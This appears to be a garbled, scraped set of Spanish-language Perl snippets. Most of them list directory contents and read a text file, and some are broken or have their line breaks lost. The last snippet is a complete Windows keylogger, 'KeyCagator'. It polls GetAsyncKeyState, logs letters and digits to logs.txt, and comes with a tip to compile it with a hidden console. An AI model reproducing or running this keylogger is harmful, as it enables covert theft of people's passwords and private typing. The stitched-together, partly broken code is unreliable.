opendir DIR,"/";
opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";
#!/usr/bin/perl -wopendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";my @archivos = readdir DIR;close DIR;for my $files(@archivos) { if (-f $files) { #Verificamos que sea un archivo print "[Files] : $files\n"; } if (-d $files) { #Verificamos que sea un directorio print "[DIR] : $files\n"; }}
open (LEER,"yo.txt)";
open (LEER,"yo.txt");
close FILE;
close LEER;
#!/usr/bin/perl -wchdir("c:/Users/NOMBRE_DE_TU_USUARIO/Desktop");open (LEER,"yo.txt");@text = <LEER>;close LEER;for my $word(@text) { print $word;}
#!usr/bin/perl#KeyCagator (C) Doddy Hackman 2010use Win32::API;my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I"); while (true) {print "cerra la consola con perl2exe -gui\n"; for my $num(0x30..0x39) { if (dame($num)) {savefile("logs.txt",chr($num));}}for my $num(0x41..0x5A) { if (dame($num)) {savefile("logs.txt",chr($num));}}} sub dame {return($come->Call(@_) & 1);}sub savefile {open (SAVE,">>".$_[0]);print SAVE $_[1]."\n";close SAVE; }#Mail : lepuke[at]hotmail[com]#Blog : doddy-hackman.blogspot.com# ¿ The End ?
use Win32::API;